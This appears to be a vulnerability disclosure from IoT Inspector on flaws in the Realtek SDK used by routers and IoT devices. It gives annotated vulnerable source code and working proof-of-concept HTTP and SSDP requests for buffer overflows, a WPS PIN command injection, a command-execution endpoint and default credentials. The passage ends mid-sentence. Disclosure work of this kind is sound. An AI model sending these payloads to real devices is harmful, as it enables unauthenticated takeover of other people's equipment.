At least 65 vendors affected by severe vulnerabilities that enable unauthenticated attackers to fully compromise the target device and execute arbitrary code with the highest level of privilege.
Overview
Over the course of a research project focusing on a specific cable modem, we identified that the system was using a dual-SoC design. The main SoC was running a Linux system, while the second SoC – a dedicated Realtek RTL819xD chipset implementing all the access point functions – was found to be running another, stripped-down Linux system from Realtek.
Realtek chipsets are found in many embedded devices in the IoT space. RTL8xxx SoCs – which provide wireless capabilities – are very common. We therefore decided to spend time identifying binaries running on the RTL819xD on our target device, which expose services over the network and are provided by Realtek themselves. Such binaries are packaged as part of the Realtek SDK, which is developed by Realtek and provided to vendors and manufacturers who use the RTL8xxx SoCs.
Supported by IoT Inspector’s firmware analysis platform, we performed vulnerability research on those binaries and identified more than a dozen vulnerabilities – ranging from command injection to memory corruption affecting UPnP, HTTP (management web interface), and a custom network service from Realtek.
By exploiting these vulnerabilities, remote unauthenticated attackers can fully compromise the target device and execute arbitrary code with the highest level of privilege.
We identified at least 65 different affected vendors with close to 200 unique fingerprints, thanks both to Shodan’s scanning capabilities and some misconfiguration by vendors and manufacturers who expose those devices to the Internet. Affected devices implement wireless capabilities and cover a wide spectrum of use cases: from residential gateways, travel routers, Wi-Fi repeaters, IP cameras to smart lightning gateways or even connected toys.
Affected vendor & product
Vendor Advisory |
Realtek SDK (www.realtek.com) https://www.realtek.com/en/cu-1-en/cu-1-taiwan-en |
Vulnerable version | Realtek SDK v2.x Realtek “Jungle” SDK v3.0/v3.1/v3.2/v3.4.x/v3.4T/v3.4T-CT Realtek “Luna” SDK up to version 1.3.2 |
Fixed version | Realtek SDK branch 2.x: no longer supported by Realtek. Realtek “Jungle” SDK: patches will be provided by Realtek and needs to be backported. Realtek “Luna” SDK: version 1.3.2a contains fixes. |
CVE IDs | CVE-2021-35392 (‘WiFi Simple Config’ stack buffer overflow via UPnP) CVE-2021-35393 (‘WiFi Simple Config’ heap buffer overflow via SSDP) CVE-2021-35394 (MP Daemon diagnostic tool command injection) CVE-2021-35395 (management web interface multiple vulnerabilities) |
Impact | CVE-2021-35392 – 8.1 (high) AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H CVE-2021-35393 – 8.1 (high) AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H CVE-2021-35394 – 9.8 (critical) AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVE-2021-35395- 9.8 (critical) AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
Credit | Q. Kaiser, IoT Inspector Research Lab |

Key Takeaways
As awareness for supply chain transparency is on the rise among security experts, this example is a pretty good showcase of the vast implications of an obscure IoT supply chain. As opposed to recent supply chain attacks such as Kaseya or Solar Winds, where perpetrators went to great lengths to infiltrate the vendor’s release processes and place hidden backdoors in product updates, this example is far less sophisticated – and probably way more common, for three simple reasons:
- On the supplier’s end, insufficient secure software development practices, in particular lack of security testing and code review, resulted in dozens of critical security issues to remain untouched in Realtek’s codebase for more than a decade (from 2.x branch through “Jungle“ SDK to “Luna” SDK).
- On the product vendor’s end, we see manufacturers with access to the Realtek source code (a requirement to build Realtek SDK binaries for their own platform) who missed to sufficiently validate their supply chain, left the issues unspotted and distributed the vulnerabilities to hundreds of thousands of end customers – leaving them vulnerable to attacks.
- But supply chain issues can go upstream, too. During our research, we discovered that security researchers and pen-testers have previously identified issues in devices relying on the Realtek SDK, but didn’t link these issues to Realtek directly. Vendors who received reports of these vulnerabilities fixed them in their own branch but did not notify Realtek, leaving others exposed.
Our firmware analysis platform IoT Inspector can support in detecting such crucial supply chain issues. It automatically detects whether a firmware is based on a vulnerable Realtek SDK, along with its specific version. It can also detect each vulnerability we reported, and whether or not the provided patch has been applied.
Please keep reading for the full details of our research process.
UPnP Vulnerabilities (mini_upnpd, wscd)
Summary
Realtek moved away from its previous UPnP service miniigd in response to CVE-2014-8361, They subsequently provided the source to build two binaries with different features within its SDK:
-
mini_upnpd: seems to be only handling SSDP packets and does not expose a UPnP HTTP interface. For every firmware image we identified to contain a mini_upnpd binary, wscd was also present.
-
wscd: aka ‘Realtek WiFi Simple-Config Daemon’, implements both SSDP packet handling and a UPnP HTTP interface.
Throwing the right keywords into Google, we were able to get access to the source code on Github. This helped in speeding up the vulnerability identification – but we’re confident that skilled reverse engineers would reach the same conclusions, given that some binaries in our sample set came with debug symbols. To illustrate the vulnerabilities, we have commented relevant sections of the source code.
Stack Buffer Overflow via UPnP SUBSCRIBE Callback Header
A few words on UPnP subscription
Any UPnP service must expose the list of devices that it manages, as well as a list of services attached to those devices. In the sample below taken from gupnp documentation (Writing a UPnP Service: GUPnP Reference Manual ), we see a virtual light device with a power switching service attached to it.
On line 19, we can see a eventSubURL
item that is related to a feature of UPnP: event notification.
<?xml version="1.0" encoding="utf-8"?> <root xmlns="urn:schemas-upnp-org:device-1-0"> <specVersion> <major>1</major> <minor>0</minor> </specVersion> <device> <deviceType>urn:schemas-upnp-org:device:BinaryLight:1</deviceType> <friendlyName>Kitchen Lights</friendlyName> <manufacturer>OpenedHand</manufacturer> <modelName>Virtual Light</modelName> <UDN>uuid:cc93d8e6-6b8b-4f60-87ca-228c36b5b0e8</UDN> <serviceList> <service> <serviceType>urn:schemas-upnp-org:service:SwitchPower:1</serviceType> <serviceId>urn:upnp-org:serviceId:SwitchPower:1</serviceId> <SCPDURL>/SwitchPower1.xml</SCPDURL> <controlURL>/SwitchPower/Control</controlURL> <eventSubURL>/SwitchPower/Event</eventSubURL> </service> </serviceList> </device> </root>
To subscribe to event notification for a service, a subscriber shall send a request with method SUBSCRIBE
, alongside populated NT
and CALLBACK
header fields, to that service’s fully-qualified event subscription URL.
An UPnP SUBSCRIB
E request usually looks like this:
SUBSCRIBE /SwitchPower/Event HTTP/1.1 HOST: host:port USER-AGENT: OS/version UPnP/2.0 product/version CALLBACK: <delivery URL> NT: upnp:event TIMEOUT: Second-requested subscription duration
On events, the UPnP service will then notify the subscriber by sending a NOTIFY
request to the provided CALLBACK
URL. In our example, an event could be the virtual light being switched on or off by another UPnP client.
Now that you have some background on UPnP event notifications and subscriptions, let’s look into the Realtek SDK implementation.
Whenever a request is received by the UPnP handler, the HTTP verb is checked and a dedicated function called:
/* Parse and process Http Query * called once all the HTTP headers have been received. */ static void ProcessHttpQuery_upnphttp(struct upnphttp * h) { //--snip-- else if(strcmp("SUBSCRIBE", HttpCommand) == 0) { UPnPProcessSUBSCRIBE(h); } //--snip-- }
On line 8, the UPnPProcessSUBSCRIBE
function will parse the HTTP request held in a upnphttp
structure and fill the fields of the provided process_upnp_subscription
structure:
static void UPnPProcessSUBSCRIBE(struct upnphttp * h) { struct process_upnp_subscription sub; struct upnp_subscription_element *new_sub=NULL; int ret; memset(&sub, 0, sizeof(struct process_upnp_subscription)); ret = ParseSUBSCRIBEPacket(h, &sub); if (ret != UPNP_E_SUCCESS) { Send412PreconditionFailed(h); return; } //--snip-- }
The ParseSUBSCRIBEPacket
function parses the HTTP request line. It first validates that the URL is a valid event URL (line 21 to 29), checks that the host header corresponds to its own IP and port (line 41 to 53), and finally extracts the IP and port number from the callback header value by calling GetIPandPortandCallBack
on line 59:
static int ParseSUBSCRIBEPacket(struct upnphttp * h, struct process_upnp_subscription *sub) { char *line=NULL, *value=NULL, *tmp=NULL; unsigned int line_len=0, value_len=0, tmp_len=0; unsigned long buffer_end=0; if (h->req_buf == NULL || h->req_contentoff == 0) return UPNP_E_INVALID_PARAM; line = h->req_buf; buffer_end = (unsigned long)h->req_buf + h->req_contentoff; while ((unsigned long)line < buffer_end) { if (*line == ' ') { line++; continue; } GetLineLen((const unsigned long)line, &line_len); if (line_len == 0) return UPNP_E_INVALID_PARAM; else if (line_len > 2) { if (strncasecmp("SUBSCRIBE", line, 9) == 0) { value = GetTokenValue((const unsigned long)line+9, line_len-9, &value_len); if (value == NULL || value_len == 0) return UPNP_E_INVALID_PARAM; if (strncasecmp(h->subscribe_list->event_url, value, value_len) != 0) { syslog(LOG_WARNING, "SUBSCRIBE event url mismatched!"); return UPNP_E_INVALID_PARAM; } } else if (strncasecmp("UNSUBSCRIBE", line, 11) == 0) { value = GetTokenValue((const unsigned long)line+11, line_len-11, &value_len); if (value == NULL || value_len == 0) return UPNP_E_INVALID_PARAM; if (strncasecmp(h->subscribe_list->event_url, value, value_len) != 0) { syslog(LOG_WARNING, "UNSUBSCRIBE event url mismatched!"); return UPNP_E_INVALID_PARAM; } } else if (strncasecmp("Host", line, 4) == 0) { value = GetTokenValue((const unsigned long)line+4, line_len-4, &value_len); if (value == NULL || value_len == 0) return UPNP_E_INVALID_PARAM; char host_info[30]; memset(host_info, 0, 30); sprintf(host_info, "%s:%d", h->subscribe_list->my_IP, h->subscribe_list->my_port); if (strncmp(value, host_info, value_len) != 0) { syslog(LOG_WARNING, "Wrong host [%s]", host_info); return UPNP_E_INVALID_PARAM; } } else if (strncasecmp("Callback", line, 8) == 0) { value = GetTokenValue((const unsigned long)line+8, line_len-8, &value_len); if (value == NULL || value_len == 0 || (value_len > (URL_MAX_LEN-1))) return UPNP_E_INVALID_PARAM; if (GetIPandPortandCallBack((const unsigned long) value, value_len, sub) != UPNP_E_SUCCESS) return UPNP_E_INVALID_PARAM; } //--snip-- } } }
The GetIPandPortandCallback
function is represented below so that you can try to find the vulnerability yourself. We provide a detailed explanation below.
static __inline__ int GetIPandPortandCallBack(const unsigned long buf, const unsigned int buf_len, struct process_upnp_subscription *sub) { char *line=NULL; unsigned long buffer_end=0; unsigned char dot_count=0; unsigned long start=0; unsigned long end=0; unsigned char GotIPandPort=0; line = (char *)buf; buffer_end = (unsigned long)line + buf_len; while ((unsigned long)line < buffer_end) { if (*line == ' ') { line++; continue; } if (strncasecmp("<http://", line, 8) != 0) return UPNP_E_INVALID_PARAM; else break; } line += 8; start =(unsigned long) line; while ((unsigned long)line < buffer_end) { if (*line == '.') dot_count++; if ((*line == ':') || (*line == '/')) { if (dot_count != IP_V4_DOT_COUNT) return UPNP_E_INVALID_PARAM; memcpy(sub->IP, (char *)start, (unsigned long)line-start); if ((sub->IP_inet_addr = inet_addr(sub->IP)) == -1) return UPNP_E_INVALID_PARAM; break; } line++; } if (*line == '/') { sub->port = 80; GotIPandPort = 1; start = (unsigned long)line; end = 0; goto get_callback; } line += 1; start = (unsigned long)line; while ((unsigned long)line < buffer_end) { if (*line == '/') { end = (unsigned long)line; if (end <= start) return UPNP_E_INVALID_PARAM; else { char port[10]; // stack buffer memset(port, 0, 10); // zeroed out memcpy(port, (char *)start, end-start); // VULN: end-start can be > 10 sub->port = atoi(port); GotIPandPort = 1; start = (unsigned long)line; end = 0; break; } } line++; } get_callback: if (!GotIPandPort) return UPNP_E_INVALID_PARAM; while ((unsigned long)line < buffer_end) { if (*line == '>') { end = (unsigned long)line; if (end <= start) return UPNP_E_INVALID_PARAM; else { memcpy(sub->callback_url, (char *)start, end-start); return UPNP_E_SUCCESS; } } line++; } return UPNP_E_INVALID_PARAM; }
GetIPandPortandCallBack
parsing code is wrong on many levels, but let’s focus on why it’s vulnerable:
-
it checks whether the Callback starts with
"<http://"
and bails otherwise from line 12 to 21.
From line 26 to 67, the actual IP and port number extraction starts:
-
it will advance in the buffer until a ‘:’ or a ‘/’ is found, every time a ‘.’ is encountered, a counter is incremented
-
when there is a hit for ‘:’ or ‘/’, it checks if there are 3 dots (strong validation for IPv4, right ?)
-
if the character hit is ‘/’, it defaults to port number 80
-
if the character hit is ‘:’, it continues reading the buffer until they hit a ‘/’ character and copy the buffer from ‘:’ to ‘/’ into a fixed size buffer named ‘port’
-
the port buffer is then fed to
atoi
to get an integer
The vulnerability happens on line 58 where memcpy
is called with a length that can be larger than the size of the port
stack buffer. This is due to the fact that there is no size limitation when identifying the port section between ‘:’ and ‘/’ characters within the callback.
The following SUBSCRIBE
request will therefore trigger the overflow:
SUBSCRIBE /upnp/event/WFAWLANConfig1 HTTP/1.1 Host: 192.168.100.254:52881 Callback: <http://192.168.100.2:36657AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/ServiceProxy0> NT: upnp:event Timeout: Second-1800 Accept-Encoding: gzip, deflate User-Agent: gupnp-universal-cp GUPnP/1.2.3 DLNADOC/1.50 Connection: Keep-Alive
We confirmed it on our test device with GDB. As we can see below, the program counter of our process got overwritten with ‘AAAA’ (0x41414141)
:
gdb-multiarch (gdb) set architecture mips The target architecture is assumed to be mips (gdb) target remote 192.168.100.254:1234 Remote debugging using 192.168.100.254:1234 warning: No executable has been specified and target does not support determining executable automatically. Try using the "file" command. 0xfc3aaf2a in ?? () (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) c Continuing. Program terminated with signal SIGSEGV, Segmentation fault. The program no longer exists. (gdb) quit
Gaining a Shell
To fully demonstrate the potential of this vulnerability, we developed a quick proof-of-concept that would land us a reverse shell on the target device. We exploit the stack overflow using the ret2libc
technique in order to run an arbitrary command. Given that the size of the command we can run is restricted to 16 characters, we simply launch the UDPServer daemon and exploit the command injection that affects that service to run a longer command that pulls our reverse shell payload over FTP and execute it.
Heap Buffer Overflow via SSDP ST field
The UPnP discovery protocol relies on Simple Service Discovery Protocol (SSDP), a UDP protocol using the HTTP message format.
Two kinds of messages can be sent over SSDP:
-
M-SEARCH
– sent by clients wishing to discover available services on a network. -
NOTIFY
– sent by UPnP servers to announce the establishment or withdrawal of service information to the multicast group.
Handling of SSDP requests is implemented by ProcessSSDPRequest
, which only parses M-SEARCH
messages and disregards NOTIFY
messages.
The origin of the heap buffer overflow lies between lines 43 and 68 where the SSDP handler compares the ST
header value to its internal list of exposed service types.
A secure SSDP implementation would only accept an ST
header that matches exactly one of its exposed service types (e.g., upnp:rootdevice
). In this case, the comparison is made with memcmp – but only up to the length of the currently checked service type. This means that we can pass this check if at least n bytes of our provided ST
header value match the service type (e.g. upnp:rootdevicewhateverfollows
).
Then, on line 57, the function calls SendSSDPAnnounce2
to reply to our M-SEARCH
request with a NOTIFY
response using two user controlled inputs: the ST
header value (st
) and the ST
header value length (st_len
).
void ProcessSSDPRequest(daemon_CTX_Tp pCtx) { int n; char *bufr=NULL; socklen_t len_r; struct sockaddr_in sendername; int i, l, j; char * st = 0; int st_len = 0; if (pCtx == NULL) return; bufr = (char *) malloc(2048); --snip-- memset(bufr, 0, 2048); len_r = sizeof(struct sockaddr_in); n = recvfrom(pCtx->sudp, bufr, 2048, 0, (struct sockaddr *)&sendername, &len_r); --snip-- else if(memcmp(bufr, "M-SEARCH", 8) == 0) { i = 0; while(i<n) { while(bufr[i] != '\r' || bufr[i+1] != '\n'){ if(i<n) i++; else goto err_out; } i += 2; if(strncasecmp(bufr+i, "st:", 3) == 0) { st = bufr+i+3; st_len = 0; while(*st == ' ' || *st == '\t') st++; while(st[st_len]!='\r' && st[st_len]!='\n') st_len++; } } if(st) { // the SSDP server can handle multiple exposed UPnP devices // we loop through those devices for (j=0; j<MAX_NUMBER_OF_DEVICE; j++) { if (pCtx->device[j].used) { i = 0; // each device has supported service types, such as 'upnp:rootdevice' while(pCtx->device[j].known_service_types[i]) { // first error, we compare the received ST header to at most l bytes // this means we pass the check with 'upnp:rootdevicewhateverfollows' l = (int)strlen(pCtx->device[j].known_service_types[i]); if(l<=st_len && (0 == memcmp(st, pCtx->device[j].known_service_types[i], l))) { // --snip-- // the server sends a NOTIFY message to answer the M-SEARCH with // user controlled data SendSSDPAnnounce2(pCtx->sudp, sendername, st, st_len, pCtx->lan_ip_address, pCtx->device[j].port, &pCtx->device[j].ctx); break; } i++; } --snip-- } } } } //--snip-- }
The overflow happens in SendSSDPAnnounce2
on line 23 when calling sprintf
to put user controlled data into a 512 bytes buffer allocated on the heap.
// st and st_len are user controlled void SendSSDPAnnounce2(int s, struct sockaddr_in sockname, const char * st, int st_len, const char * host, unsigned short port, SSDP_CTX_Tp SSDP) { int l, n; char *buf=NULL; if (st == NULL || host == NULL || SSDP == NULL) return; // allocation and zeroing of a 512 bytes buffer on the heap buf = (char *) malloc(512); if (buf == NULL) { syslog(LOG_ERR, "SendSSDPAnnounce2: out of memory!"); return; } memset(buf, 0, 512); // insecure call to sprintf to copy formatted data into our 512 bytes buffer // given that st and st_len are user controlled and come from a 2048 bytes buffer // read from the UDP socket listener, we can definitely overflow the heap buffer. l = sprintf(buf, "HTTP/1.1 200 OK\r\n" "Cache-Control: max-age=%d\r\n" "ST: %.*s\r\n" "USN: %s::%.*s\r\n" "EXT:\r\n" "Server: " MINIUPNPD_SERVER_STRING "\r\n" "Location: http://%s:%u/%s.xml" "\r\n" "\r\n", SSDP->max_age, st_len, st, SSDP->uuid, st_len, st, host, (unsigned int)port, SSDP->root_desc_name); n = sendto(s, buf, l, 0, (struct sockaddr *)&sockname, sizeof(struct sockaddr_in) ); if(n<0) { syslog(LOG_ERR, "sendto: %m"); } free(buf); }
We developed the following proof-of-concept with Scapy:
from scapy.all import * fake_mac="64:d1:a3:4f:be:e1" spoofedIPsrc="192.168.100.2" SSDPserver="192.168.100.254" payload = "M-SEARCH * HTTP/1.1\r\n" \ "HOST:"+SSDPserver+":1900\r\n" \ "ST:upnp:rootdeviceAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" \ "MAN: \"ssdp:discover\"\r\n" \ "MX:2\r\n\r\n" ssdpRequest = IP(src=spoofedIPsrc,dst=SSDPserver) / UDP(sport=1900, dport= 1900) / payload send(ssdpRequest)
We confirmed it on our test device with GDB. As we can see below, the program counter of our process got messed up due to the presence of invalid values on the heap:
gdb-multiarch (gdb) set architecture mips The target architecture is assumed to be mips (gdb) target remote 192.168.100.254:1234 Remote debugging using 192.168.100.254:1234 warning: No executable has been specified and target does not support determining executable automatically. Try using the "file" command. 0xfc3aaf2a in ?? () (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0xd4bab02a in ?? () (gdb) c Continuing. Program terminated with signal SIGSEGV, Segmentation fault. The program no longer exists. (gdb) quit
Heap exploitation is always more complex, but the binary provides decent primitives to perform heap spraying. If we want to write a complete PoC we’d have to look at what kind of structures are allocated on the heap at runtime.
Web Management Interface Vulnerabilities (webs, boa)
Summary
Realtek has two different versions of its stock web management interface binary: one is GoAhead-webs (/bin/webs
), the other is Boa (/bin/boa
).
Each server implements the exact same features, with the exact same vulnerabilities (command injection, overflows). The only difference is that Realtek developers use different APIs to implement their features (e.g., websGetVar
to get a query parameter in GoAhead-webs, and req_get_cstream_var
in Boa).
In its default state, the interface looks somewhat like this:

Realtek SDK web interface
Most vendors and manufacturers use one of these web management binaries but change the appearance of the user interface so that it reflects their brand. During our research, some were found to also remove and/or insert custom features. An obvious example of this is the interface found on an IoT toy tank analyzed by Pentest Partners:

Realtek SDK web interface on ESSON
Caveats
The web server is vulnerable to DNS rebinding and does not implement any kind of CSRF protection. This means it could be exploited over the Internet by getting a victim to open an attacker controlled web page and guess the internal IP address running the service.
The binary implements a small authentication feature with a user database saved in a .dat or .txt file depending on the binary (webs or boa). Unless explicitly removed in the code/config by the vendor, a default user account exists (supervisor/supervisor
).
Exploitability of identified issues will differ based on what the end vendor/manufacturer did with the Realtek SDK webserver. Some vendors use it as-is, others add their own authentication implementation, some keep all the features from the server, some remove some of them, others insert their own set of features.
However, given that Realtek SDK implementation is full of insecure calls and that (from what we’ve seen so far), developers tends to re-use those examples in their custom code, any binary based on Realtek SDK webserver will probably contain its own set of issues on top of the Realtek ones (if kept).
An excellent example of this is the Edimax webserver implementation that kept vulnerabilities from the Realtek SDK default CGI handlers (e.g., buffer overflow via submit-url
parameter), but also copied that exact code into their own custom CGI handlers (see Examination of Edimax home devices – Embedded Lab Vienna for IoT & Security).
Stack Buffer Overflow via formRebootCheck’s submit-url query parameter
A buffer overflow is present in formRebootCheck. The overflow can be triggered by sending an overly long submit-url
query parameter:
void formRebootCheck(void **param_1) { //--snip-- char *__src; int iVar3; //--snip-- __src = websGetVar((int)param_1,"submit-url",&DAT_00458328); iVar3 = apmib_update(4); if (iVar3 != 0) { save_cs_to_file(); } run_init_script_flag = 1; run_init_script("all"); strcpy(lastUrl,__src); //--snip--
lastUrl
is a static 100 bytes long char array stored in .data
section. Given that the variable is above the GOT, we can exploit this vulnerability by overwriting a GOT entry.
A simple demonstration with a 3000 bytes long submit-url
value is shown below:
POST /goform/formRebootCheck HTTP/1.1 Host: 192.168.100.254 Content-Length: 3011 Content-Type: application/x-www-form-urlencoded Connection: close submit-url=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
This request will, again, trigger a segfault:
# webs sh: can't create /proc/br_mCastFastFwd: nonexistent directory Segmentation fault
Stack Buffer Overflow via formWsc’s submit-url query parameter
A similar issue is present in formWsc
. This overflow can also be triggered by sending an overly long submit-url
query parameter:
void formWsc(void **param_1,undefined4 param_2,undefined4 param_3,char *param_4) { char *pcVar2; char *pcVar3; //--snip-- pcVar2 = websGetVar((int)param_1,"submit-url",&DAT_004548c4); pcVar3 = websGetVar((int)param_1,"resetUnCfg",&DAT_004548c4); if (*pcVar3 == '1') { strcpy(lastUrl,pcVar2); } pcVar3 = websGetVar((int)param_1,"resetRptUnCfg",&DAT_004548c4); if (*pcVar3 == '1') { strcpy(lastUrl,pcVar2); } //--snip-- }
Again, lastUrl
is a static 100 bytes long char array stored in .data
section. Given that the variable is above the GOT, we can also overflow exploit this vulnerability by overwriting a GOT entry.
A simple demonstration with a 3000 bytes long submit-url
value is shown below:
POST /goform/formWsc HTTP/1.1 Host: 192.168.100.254 Content-Length: 3024 Content-Type: application/x-www-form-urlencoded Connection: close resetUnCfg=1&submit-url=AAA...AAAA
Yet, another segfault will be triggered:
# webs reset to OOB formWsc,7202 Segmentation fault
Stack Buffer Overflow via formWlSiteSurvey’s ifname query parameter
The formWlSiteSurvey
form performs an insecure copy from a user controlled buffer into a fixed size variable. WLAN_IF
is a static 100 bytes long char array stored in .data
section.
void formWlSiteSurvey(int param_1,undefined4 param_2,undefined4 param_3,undefined4 ******param_4) { //--snip-- pcVar3 = websGetVar(param_1,"ifname",&DAT_004548c4); if (*pcVar3 != '\0') { strcpy(WLAN_IF,pcVar3); } //--snip-- }
We can send the HTTP request below to reach the vulnerable code path:
POST /goform/formWlSiteSurvey HTTP/1.1 Host: 192.168.100.254 Content-Length: 3063 Content-Type: application/x-www-form-urlencoded Connection: close refresh=Site+Survey&submit-url=%2Fpocket_sitesurvey.asp&ifname=AAAAAAAAAAA...AAAAAAA HTTP/1.0 200 OK Server: GoAhead-Webs Pragma: no-cache Cache-control: no-cache Content-Type: text/html <html> <body><blockquote><h4>Site-survey request failed!</h4> <form><input type="button" onclick="history.go (-1)" value=" OK  " name="OK"></form></blockquote></body></html>
This will trigger a segfault afterwards, followed by a full reboot:
# webs -2 Segmentation fault
The full reboot is probably due to an ioctl
performed by the webserver that sends a structure holding the IFNAME
content to a Realtek kernel driver to get stats from a wireless interface.
Arbitrary Command Execution in formSysCmd
The formSysCmd
form is exposing command execution as a feature and is usually reachable via either /goform/formSysCmd
or /boafrm/formSysCmd
depending on the webserver in use.
We could argue that it’s more of a backdoor rather than a vulnerable endpoint, especially when vendors tend to remove the HTML page represented below from their interface but leave the command execution endpoint enabled.

Realtek SDK formSysCmd form
The form code is dead simple: receive a command via the sysCmd
query parameter, feed it to system()
, and return the results from that command within the next page.
void formSysCmd(void **param_1) { size_t *psVar1; char *pcVar2; char acStack120 [104]; psVar1 = (size_t *)websGetVar((int)param_1,"submit-url",&DAT_00458328); pcVar2 = websGetVar((int)param_1,"sysCmd",&DAT_00458328); if (*pcVar2 != '\0') { snprintf(acStack120,100,"%s 2>&1 > %s",pcVar2,"/tmp/syscmd.log"); system(acStack120); } websRedirect(param_1,psVar1); return; }
Although probably not required, we’ll reference the HTTP request for completness’ sake:
POST /goform/formSysCmd HTTP/1.1 Host: 192.168.100.254 Content-Length: 51 Content-Type: application/x-www-form-urlencoded Connection: close sysCmd=ls&apply=Apply&submit-url=%2Fsyscmd.asp&msg= --- HTTP/1.0 302 Redirect Server: GoAhead-Webs Date: Tue Jan 5 01:56:06 2016 Pragma: no-cache Cache-Control: no-cache Content-Type: text/html Location: http://192.168.100.254/syscmd.asp <html><head></head><body> This document has moved to a new <a href="http://192.168.100.254/syscmd.asp">location</a>. Please update your documents to reflect the new location. </body></html>
This “feature” is another great example of what arises with vulnerabilities being distributed down the supply chain. Many testers identified this exact vulnerability in different devices from different vendors but never reported it to Realtek.
A few examples: CVE-2018-20057, CVE-2019-19824, Edimax EW-7438RPn 1.13 – Remote Code Execution.
Command Injection via formWsc’s peerPin query parameter
The formWsc
form is vulnerable to arbitrary command injection at multiple locations. All of them are related to a user controlled WPS PIN that is fed to system commands without prior sanitization.
void formWsc(void **param_1,undefined4 param_2,undefined4 param_3,char *param_4) { //--snip-- if (bVar1) { apmib_get(0x111,abStack472); sprintf((char *)abStack736,"echo %s > /var/wps_local_pin",abStack472); system((char *)abStack736); } apmib_get(0x10e,(byte *)&local_38); if (local_38 == 0) { pcVar3 = "iwpriv %s set_mib pin=%s"; sprintf((char *)abStack736,pcVar3, WLAN_IF, wps_pin); system((char *)abStack736); } else{ pcVar3 = "iwpriv wlan%d-vxd set_mib pin=%s"; sprintf((char *)abStack736,pcVar3, wlan_idx, wps_pin); system((char *)abStack736); } //--snip--
HTTP request to trigger the injection:
POST /goform/formWsc HTTP/1.1 Host: 192.168.100.254 Content-Length: 129 Content-Type: application/x-www-form-urlencoded Connection: close submit-url=%2Fwlwps.asp&resetUnCfg=0&peerPin=12345678;ifconfig>/tmp/1;&setPIN=Start+PIN&configVxd=off&resetRptUnCfg=0&peerRptPin=
Stack Buffer Overflow via formStaticDHCP’s hostname query parameter
The formStaticDHCP
form is vulnerable to a stack overflow where a user controlled value (hostname
parameter) is insecurely copied to a stack variable using strcpy
:
void formStaticDHCP(void **param_1,undefined4 param_2,undefined4 param_3,undefined4 ****param_4) { char *pcVar3; char *pcVar4; uint uVar5; size_t sVar6; int iVar7; long lVar8; in_addr local_b0; uint local_118 [26]; undefined local_ac [6]; char acStack166 [38]; byte local_80 [48]; uint local_34; uint local_30; //--snip-- pcVar3 = websGetVar((int)param_1,"addRsvIP",&DAT_00450fb8); local_3c = websGetVar((int)param_1,"deleteSelRsvIP",&DAT_00450fb8); local_38 = websGetVar((int)param_1,"deleteAllRsvIP",&DAT_00450fb8); apmib_get(0xaa,(byte *)local_118); local_34 = local_118[0]; apmib_get(0xab,(byte *)local_118); local_30 = local_118[0]; pcVar4 = websGetVar((int)param_1,"static_dhcp",&DAT_00450fb8); if (*pcVar4 == '\0') { LAB_00423c70: if (*pcVar3 != '\0') { memset(&local_b0,0,0x2a); pcVar3 = websGetVar((int)param_1,"hostname",&DAT_00450fb8); if (*pcVar3 != '\0') { strcpy(acStack166,pcVar3); } //--snip-- } //--snip-- } //--snip-- }
The following HTTP request will trigger the overflow:
POST /goform/formStaticDHCP HTTP/1.1 Host: 192.168.100.254 Content-Length: 509 Content-Type: application/x-www-form-urlencoded Connection: close static_dhcp=1&ip_addr=192.168.100.4&mac_addr=000102030405&hostname=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...&addRsvIP=Apply+Changes&submit-url=%2Ftcpip_staticdhcp.asp
Stack Buffer Overflow via formWlanMultipleAP’s submit-url query parameter
The formWlanMultipleAP
form is vulnerable to a stack overflow where a user controlled value (submit-url
